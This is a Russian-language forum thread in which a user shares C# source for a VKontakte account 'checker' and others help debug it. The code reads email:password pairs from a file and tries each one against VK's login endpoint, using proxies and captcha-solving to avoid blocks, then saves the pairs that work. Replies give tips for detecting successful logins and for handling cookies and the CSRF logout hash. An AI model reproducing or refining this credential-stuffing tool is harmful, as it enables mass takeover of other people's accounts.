Помогите Написать чекер Вк(нужны исходники)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Cooming_So0n, 5 Jan 2014.

  1. Cooming_So0n

    Cooming_So0n New Member

    Joined:
    16 Feb 2011
    Messages:
    63
    Likes Received:
    4
    Reputations:
    0
    Code:
    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Linq;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.Threading;
    using ViKing.ApplicationFramework;
    using ViKing.Engine;
    
    
    namespace Viking_Application5
    {
    
    
        // Включаем антигейт и прокси
        [GuiSettings(UseAntigate = true, UseProxies = true)]
        public class Job : JobBase
        {
    
    
            public override void DoWork()
            {
               // try
                //{
    
                    string[] file = File.ReadAllLines("akks.txt");  //читаем все строки из файла "akks.txt"
                    using (System.IO.StreamWriter files = new System.IO.StreamWriter("Valid.txt", true))
                    {
                        
                        foreach (string line in file)// создаем переменную строки
                        {
                            
                            string[] temp = line.Split(':');
                            string createFormatUri = "https://login.vk.com/?act=login&role=al_frame&email=" + temp[0] + "&pass=" + temp[1]; //cоздаем переменную запроса на логин
                            var result = VkRequest.Request(String.Format(createFormatUri), FollowRedirects: true, cookies: ThreadCookies); // пробуем логиниться
    
                            if (result.Stream.Length > 300) //условие валидности аккаунта
                            {
    
                                Log("не валидный акк: {0}:{1}", temp[0], temp[1]);
    
    
                            }
                            else
                            {
                                files.WriteLine(line);// Записываем акк в файл}
                                Log("Валидный Аккаунт:  {0}:{1}", temp[0], temp[1]);
    
                            }
                            var resultt = VkRequest.Request(String.Format("http://vk.com/login.php?op=logout "), FollowRedirects: true, cookies: ThreadCookies); // делаем logout
                          
                        }
                    }
    
    
    
    
                   // StopJop("No more accounts");
                }
    
               //catch
               // {
                // }
    
            }
        }
    
        
    
    



    Парни, посмотрите что не так, изначально оно работало а потом я решил кое-что подправить, убрал try - catch добавил АГ и Прокси и теперь чекер после первого же валидного акка все последующие воспринимает как валидные. Как условие валидности взято правило result.Stream.Length = 300, когда result.Stream.Length > 300 , это означает что акк не валидный. Такое ощущение что запрос на logout выполняется как-то не правильно, он не выходит из валидного аккаунта и соответственно дальше все остальные воспринимает так же валидными. Помогите пожалуйста разобраться.
     
  2. Cooming_So0n

    Cooming_So0n New Member

    Joined:
    16 Feb 2011
    Messages:
    63
    Likes Received:
    4
    Reputations:
    0
    никто не может помочь?
     
  3. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    565
    Likes Received:
    50
    Reputations:
    54
    Code:
                        foreach (string line in file)// создаем переменную строки
    
    Не надо комментировать каждое очевидное выражение, тем более неправильно.

    Code:
                            if (result.Stream.Length > 300) //условие валидности аккаунта
    
    Это очень хреновое условие, по длине ответа. Знаете, почему многие фрилансеры отказываются работать с социалочками? Потому что их[социалочек] интерфейс меняется как девочка в подростковом возрасте. Длина ответа - средняя температура и делать выводы валид\невалид по ней - не лучшая идея. Когда я последний раз проверял, при удачной авторизации вк кидал редирек 30x, при неудачной 200. И это не учитывая баненные, засобаченные и не-той-страны аккаунты. Json с капчей, по-моему, тоже возвращался на 200.
     
  4. Cooming_So0n

    Cooming_So0n New Member

    Joined:
    16 Feb 2011
    Messages:
    63
    Likes Received:
    4
    Reputations:
    0

    Хорошо, допустим я найду другое условие. А комментарии я пишу для себя, что бы удобнее было. Вопрос в другом, я правильно составил запрос на logout и правильно ли он обрабатывается? потому что у меня впечатление что после 1ого же валидного акка он уже не выходит из него и соответственно последующие воспринимает так же валидными. Как проверить выходит он из него или нет?
     
  5. Cooming_So0n

    Cooming_So0n New Member

    Joined:
    16 Feb 2011
    Messages:
    63
    Likes Received:
    4
    Reputations:
    0
    я проверил. Он не выходит из аккаунта после запроса
    Code:
    result = VkRequest.Request(String.Format("https://vk.com/login.php?op=logout"), FollowRedirects: true, cookies: ThreadCookies);
    А в браузере выходит.
    Что я не так делаю?
     
  6. mrDebian

    mrDebian Member

    Joined:
    27 Jan 2013
    Messages:
    96
    Likes Received:
    13
    Reputations:
    10
    Ну так смотри что возвращает сервер, и разбирай в чем ошибка.
     
  7. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    565
    Likes Received:
    50
    Reputations:
    54
    Выходить в общем-то и не так уж обязательно.

    Насколько я помню, логаут у них с защитой от CSRF по хешу, который формируется яваскриптом. Выдирайте его регуляркой и вставляйте в запрос, если уж так хочется логаут делать.
     
  8. seosimf

    seosimf Member

    Joined:
    3 Mar 2011
    Messages:
    271
    Likes Received:
    44
    Reputations:
    6
    Зачем вообще делать logout через сайт? Создавай новый экземпляр ThreadCookies(или вообще его не передавай) для каждого запроса логина.
     
  9. Cooming_So0n

    Cooming_So0n New Member

    Joined:
    16 Feb 2011
    Messages:
    63
    Likes Received:
    4
    Reputations:
    0
    Да,действительно. Я убрал Cookies из запроса и стало работать правильно. Спасибо всем за потраченное время :) А зачем его вообще передавать если можно не передавать? Это на что-то влияет?
     
  10. Cooming_So0n

    Cooming_So0n New Member

    Joined:
    16 Feb 2011
    Messages:
    63
    Likes Received:
    4
    Reputations:
    0
    Нет, совсем не хочется) Я просто думал что без него никак =)
     
  11. madhatter

    madhatter Member

    Joined:
    7 Aug 2013
    Messages:
    565
    Likes Received:
    50
    Reputations:
    54
    Вы не поверите, но именно этот вопрос вам и задали. В принципе, единственное на что это влияет - уменьшение онлайн-статуса аккаунта со стандартных 15 минут до какого-то невнятного, но сильно небольшого значения.
     
Loading...